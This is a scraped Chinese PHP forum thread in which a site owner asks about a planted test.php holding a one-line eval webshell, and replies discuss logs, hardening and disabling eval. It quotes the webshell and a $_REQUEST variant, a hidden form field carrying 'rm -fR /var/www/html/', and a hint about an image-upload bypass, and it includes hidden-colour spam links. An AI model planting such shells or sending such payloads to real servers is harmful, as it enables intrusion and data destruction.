php 漏洞提问 急.... 我们网站不知道怎么的多了个test.php内容如下 :<?php eval($_POST[cmd]);?>找了很多资料,也没看出个大概..1. 我想知道这个一般是怎么注入到我们网站里的??2. 它主要起什么作用??我们网站其它原文件应该不会也被注入了吧... 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 1. 查log喽。2. 执行任何命令比如我的form里写上<input type='hidden' name='cmd' value='rm -fR /var/www/html/'/>post到test.php上就能删除/var/www/html下的所有文件。 仔细检查你网站上传的地方..查Apache\logs的access.log 对linux不是很懂,是否是查apache的日志,还是其它的日志/... 222.35.44.41 - - [17/Apr/2008:18:16:22 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:18:16:22 +0800] "GET /apache_pb.gif HTTP/1.1" 200 2326222.35.44.41 - - [17/Apr/2008:19:21:25 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:19:21:25 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -222.35.44.41 - - [17/Apr/2008:19:21:29 +0800] "GET /test.php HTTP/1.1" 200 63222.35.44.41 - - [17/Apr/2008:19:22:16 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:19:22:16 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -222.35.44.41 - - [17/Apr/2008:19:22:18 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:19:22:18 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -222.35.44.41 - - [17/Apr/2008:19:22:22 +0800] "GET /test.php HTTP/1.1" 200 63222.35.44.41 - - [17/Apr/2008:19:22:32 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:19:22:32 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -222.35.44.41 - - [17/Apr/2008:19:22:37 +0800] "GET /test.php HTTP/1.1" 200 63222.35.44.41 - - [17/Apr/2008:19:24:59 +0800] "GET /test.php HTTP/1.1" 200 20222.35.44.41 - - [17/Apr/2008:19:26:10 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:19:26:10 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -222.35.44.41 - - [17/Apr/2008:19:26:12 +0800] "GET / HTTP/1.1" 200 1018222.35.44.41 - - [17/Apr/2008:19:26:15 +0800] "GET /test.php HTTP/1.1" 200 45300222.35.44.41 - - [17/Apr/2008:19:26:16 +0800] "GET /test.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2146222.35.44.41 - - [17/Apr/2008:19:26:16 +0800] "GET /test.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 这个222.35.44.41就是攻击你的IP,他是怎么把test.php放到你的服务器的看Apache的log没有用(除非你提供upload功能让对方上传),查一查是不是FTP或者telnet传上去的,test.php的用户名,生成日期:ls -al test.php 一般是服务器的漏洞,不一定是php的 222.35.44.41 来自:北京市 铁通不是内部人干的吧?FTP应该有log文件,不知道你服务器都提供什么服务所以无从谈起.如果网络服务器有上传文件,那么查apache里的test.php所有信息看是不是上传的. 服务器是我们自己管的,文件也是我们自己ftp上传的...感到很郁闷..如果是服务器漏洞,又是怎么把这个test.php传 上去的呢??还有,服务器上的mysql老死,也感到很郁闷,流量不大,而且有的时候mysql进程达到一定数量后,就一下子掉到重启时的状态 1.首先在php.ini设定禁用eval函数(需确认系统中未使用此函数——普通系统很少用此函数)2.搜索所有访问test.php的IP地址搜集完资料后整理出来,报案。[code=BatchFile]inetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinacountry: CNadmin-c: LQ112-APtech-c: LM273-APstatus: ALLOCATED PORTABLEmnt-by: MAINT-CNNIC-APchanged: [email protected] 20030902source: APNICroute: 222.32.0.0/11descr: CHINA RAILWAY TELECOMMUNICATIONS CENTERcountry: CNorigin: AS9394mnt-by: MAINT-CN-CRTCchanged: [email protected] 20040402source: APNICperson: LV QIANGnic-hdl: LQ112-APe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51892111fax-no: +86-10-51847845country: CNchanged: [email protected] 20060911mnt-by: MAINT-CNNIC-APsource: APNICperson: liu minnic-hdl: LM273-APe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51848796fax-no: +86-10-51842426country: CNchanged: [email protected] 20041208mnt-by: MAINT-CNNIC-APsource: APNICinetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,Chinacountry: CNadmin-c: LQ112-CNtech-c: LM273-CNstatus: ALLOCATED PORTABLEchanged: [email protected] 20030902mnt-by: MAINT-CNNIC-APsource: CNNICperson: LV QIANGnic-hdl: LQ112-CNe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijingphone: +86-10-51892111fax-no: +86-10-51847845country: CNchanged: [email protected] 20060419mnt-by: MAINT-CNNIC-APsource: CNNICperson: liu minnic-hdl: LM273-CNe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51848796fax-no: +86-10-51842426country: CNchanged: [email protected] 20041208mnt-by: MAINT-CNNIC-APsource: CNNIC [/code] 很多方法能做到SQL 注入都可以 如何禁用 eval ..如何 搜索所有访问test.php的IP地址 ...迷茫... 现在那个test.php已经给我删了,应该没那么严重吧.. php.ini里面,disable_function eval 找一下disable_functionshttp://www.php.net/manual/en/ini.sect.safe-mode.php 严重到它可以远程操作你的服务器,执行任何命令。何止SQL注入,包括数据库连接ID、密码都可以得到。 disable_functions = eval ??2.搜索所有访问test.php的IP地址 如何操作的?还好我的数据库没有问题... [code=BatchFile]grep test.php *.log[/code]但是,test.php是提取post信息的,所以log里面看不出入侵方到底执行了什么命令。 在linux执行grep命令查询日志文件的内容 如果不是内部人员传上去的,很可能是被挂马了,一般是程序漏洞,好好检查一下你服务器上的php文件,看看有没有可疑的web木马,光看修改日期是不能判断,因为修改日期是可疑改的,多看看web访问日志,最好关掉web服务,好好检查一下,如果你的程序漏洞不堵上,就算你把文件删了,他还可疑再传一个上去 感谢楼上提醒,程序太多,网站也不可能停下来不运行的,前台并没有上传文件的php程序,后台应该是安全的,这个test.php上次访问还是17号,到现在没有访问过了...具体17号我干吗了,也记不清楚了..把很多和服务器有关的函数都关了,我想现在应该安全了,如果再有问题,肯定是被攻击了...那我也没的办法.. 这招不错,直接可以造个表单执行任意php语句了。其实如果<?php eval($_REQUEST['cmd']);?>这样可以直接在url上构造语句了。这就是一个web shell。查apache的访问日志,看看有哪个ip(除了你自己外)访问过这个test.php文件。这个很有可能是服务器漏洞,如果test.php所在的目录,执行php的用户没有写入权限,也就是说你无法通过fopen()函数在test.php所在目录创建文件的话,就肯定不是php脚本的漏洞了而是你服务器的漏洞了,他一定拿到了su权限 楼主有一颗星不会看不懂这是个webshell吧? 无缘无故多个文件的途径如下:1.通过远程操作上传文件,方法诸如:telnet、sftp、ftp、ssh等2.通过Apache的漏洞上传文件3.通过其他程序漏洞上传文件验证、解决方法:1.关闭不必要端口,防火墙扫描、过滤所有的通信包,调查病毒文件的来源2.缩小服务器文件系统访问权限,设定完成后,设定root用户无效。3.如果有必要,可以考虑SELinux如果以上方法实行起来都有难度,下载gcc、Apache和PHP代码,自行编译、升级服务器,不用rpm包。还有一点lz必须考虑,就是内部人的蓄意破坏,所以,服务器账号必须严格管理。 非常 的 感谢 。。上次 是想重新搞一下 apache ,可是 2.0.55 版的怎么 也找不到,郁闷 的要命 .. inetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,Chinacountry: CNadmin-c: LQ112-CNtech-c: LM273-CNstatus: ALLOCATED PORTABLEchanged: [email protected] 20030902mnt-by: MAINT-CNNIC-APsource: CNNIC 要是能知道文件是何时由何人及何程序程序生成的就好了?这个不知道有没有log? 研究一下PHP 的注入攻防 安全问题真的是很重要啊,防止xss,sql注入还都还是基本的安全防范。一下。 在linux执行grep命令查询日志文件的内容 查Apache\logs的access.log 可能是SQL注入 PHP漏洞实在太多 不错阿!!!!!!!!!!!我要把你的顶上去!~~~~[color=#eaeaea]www.jy298.com[/color] [color=#eaeaea]短信群发[/color][color=#eaeaea]www.mica8.com[/color] [color=#eaeaea]一卡多号[/color][color=#eaeaea]www.hk63.com[/color] 广州短信群发[color=#eaeaea]www.mica8.cn[/color] [color=#eaeaea]服装批发www.gdpp.com 新技网http://shop.mica8.cn [/color]热水器[color=#eaeaea]http://bbs.tz886.cn[/color] 外贸童装论坛[color=#eaeaea]http://bbs.toy11.cn[/color] 航模论坛[color=#eaeaea]http://bbs.mica8.com[/color] 手机视频下载[color=#eaeaea]www.jy298.cn[/color] LV包www.tz886.cn 童装批发www.toy11.cn 遥控飞机www.hk63.cn 皮具批发[/color] <?php eval($_POST[cmd]);?>就這句可以執行任意想執行的代碼了,以CMD為參數 看一下 eval 就知道 问题所在了 disable_functions 禁用PHP方法喔叶、你封了他IP。 呵呵。通过上传上去的吧。看看ewebeditor是不是有上传功能。前些天爆了0day来不是。上传个图片加个/.php就能当马用。反正能上传的地 方都看一下吧。注意先清一下马 看来你的网站被黑掉了 http://www.fadx.cn 如何判断设置函数执行时间? 出价700++ 找人做个php project作业 那位大哥知道如何用mysql拆分数据库表字段?小弟急求. PHP兼职项目,有兴趣请入 @include前面加@是什么意思? 帮我看看这个代码 实在找不出问题所在 救命 请教:如何判断是否被include include_once 一个3千行的数组,是否很浪费资源? 如何把这种代码里的广告去掉,又如何添加? 有没有办法让PHP程序在windows服务里运行 菜鸟求助 从前台表单获取值输入数据库中 如何用正则过滤img标签内指定的style属性?
2. 执行任何命令
比如我的form里写上<input type='hidden' name='cmd' value='rm -fR /var/www/html/'/>
post到test.php上就能删除/var/www/html下的所有文件。
222.35.44.41 - - [17/Apr/2008:18:16:22 +0800] "GET /apache_pb.gif HTTP/1.1" 200 2326
222.35.44.41 - - [17/Apr/2008:19:21:25 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:21:25 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:21:29 +0800] "GET /test.php HTTP/1.1" 200 63
222.35.44.41 - - [17/Apr/2008:19:22:16 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:22:16 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:22:18 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:22:18 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:22:22 +0800] "GET /test.php HTTP/1.1" 200 63
222.35.44.41 - - [17/Apr/2008:19:22:32 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:22:32 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:22:37 +0800] "GET /test.php HTTP/1.1" 200 63
222.35.44.41 - - [17/Apr/2008:19:24:59 +0800] "GET /test.php HTTP/1.1" 200 20
222.35.44.41 - - [17/Apr/2008:19:26:10 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:26:10 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:26:12 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:26:15 +0800] "GET /test.php HTTP/1.1" 200 45300
222.35.44.41 - - [17/Apr/2008:19:26:16 +0800] "GET /test.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2146
222.35.44.41 - - [17/Apr/2008:19:26:16 +0800] "GET /test.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524
log没有用(除非你提供upload功能让对方上传),查一查是不是FTP或者telnet传上去的,
test.php的用户名,生成日期:
ls -al test.php
不是内部人干的吧?FTP应该有log文件,不知道你服务器都提供什么服务所以无从谈起.
如果网络服务器有上传文件,那么查apache里的test.php所有信息看是不是上传的.
2.搜索所有访问test.php的IP地址搜集完资料后整理出来,报案。[code=BatchFile]inetnum: 222.32.0.0 - 222.63.255.255
netname: CRTC
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
descr: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
country: CN
admin-c: LQ112-AP
tech-c: LM273-AP
status: ALLOCATED PORTABLE
mnt-by: MAINT-CNNIC-AP
changed: [email protected] 20030902
source: APNICroute: 222.32.0.0/11
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
country: CN
origin: AS9394
mnt-by: MAINT-CN-CRTC
changed: [email protected] 20040402
source: APNICperson: LV QIANG
nic-hdl: LQ112-AP
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
phone: +86-10-51892111
fax-no: +86-10-51847845
country: CN
changed: [email protected] 20060911
mnt-by: MAINT-CNNIC-AP
source: APNICperson: liu min
nic-hdl: LM273-AP
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
phone: +86-10-51848796
fax-no: +86-10-51842426
country: CN
changed: [email protected] 20041208
mnt-by: MAINT-CNNIC-AP
source: APNICinetnum: 222.32.0.0 - 222.63.255.255
netname: CRTC
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
descr: 22F Yuetan Mansion,Xicheng District,Beijing,China
country: CN
admin-c: LQ112-CN
tech-c: LM273-CN
status: ALLOCATED PORTABLE
changed: [email protected] 20030902
mnt-by: MAINT-CNNIC-AP
source: CNNICperson: LV QIANG
nic-hdl: LQ112-CN
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing
phone: +86-10-51892111
fax-no: +86-10-51847845
country: CN
changed: [email protected] 20060419
mnt-by: MAINT-CNNIC-AP
source: CNNICperson: liu min
nic-hdl: LM273-CN
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
phone: +86-10-51848796
fax-no: +86-10-51842426
country: CN
changed: [email protected] 20041208
mnt-by: MAINT-CNNIC-AP
source: CNNIC [/code]
很多方法能做到
SQL 注入都可以
现在那个test.php已经给我删了,应该没那么严重吧..
找一下disable_functions
http://www.php.net/manual/en/ini.sect.safe-mode.php
严重到它可以远程操作你的服务器,执行任何命令。
何止SQL注入,包括数据库连接ID、密码都可以得到。
disable_functions = eval ??
2.搜索所有访问test.php的IP地址 如何操作的?还好我的数据库没有问题...
光看修改日期是不能判断,因为修改日期是可疑改的,多看看web访问日志,最好关掉web服务,好好检查一下,
如果你的程序漏洞不堵上,就算你把文件删了,他还可疑再传一个上去
不会看不懂这是个webshell吧?
无缘无故多个文件的途径如下:
1.通过远程操作上传文件,方法诸如:telnet、sftp、ftp、ssh等
2.通过Apache的漏洞上传文件
3.通过其他程序漏洞上传文件验证、解决方法:
1.关闭不必要端口,防火墙扫描、过滤所有的通信包,调查病毒文件的来源
2.缩小服务器文件系统访问权限,设定完成后,设定root用户无效。
3.如果有必要,可以考虑SELinux如果以上方法实行起来都有难度,下载gcc、Apache和PHP代码,自行编译、升级服务器,不用rpm包。还有一点lz必须考虑,就是内部人的蓄意破坏,所以,服务器账号必须严格管理。
netname: CRTC
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
descr: 22F Yuetan Mansion,Xicheng District,Beijing,China
country: CN
admin-c: LQ112-CN
tech-c: LM273-CN
status: ALLOCATED PORTABLE
changed: [email protected] 20030902
mnt-by: MAINT-CNNIC-AP
source: CNNIC
这个不知道有没有log?
一下。
[color=#eaeaea]www.mica8.com[/color] [color=#eaeaea]一卡多号[/color]
[color=#eaeaea]www.hk63.com[/color] 广州短信群发
[color=#eaeaea]www.mica8.cn[/color] [color=#eaeaea]服装批发
www.gdpp.com 新技网
http://shop.mica8.cn [/color]热水器
[color=#eaeaea]http://bbs.tz886.cn[/color] 外贸童装论坛
[color=#eaeaea]http://bbs.toy11.cn[/color] 航模论坛
[color=#eaeaea]http://bbs.mica8.com[/color] 手机视频下载
[color=#eaeaea]www.jy298.cn[/color] LV包
www.tz886.cn 童装批发
www.toy11.cn 遥控飞机
www.hk63.cn 皮具批发
[/color]
就這句可以執行任意想執行的代碼了,以CMD為參數
前些天爆了0day来不是。上传个图片加个/.php就能当马用。
反正能上传的地 方都看一下吧。注意先清一下马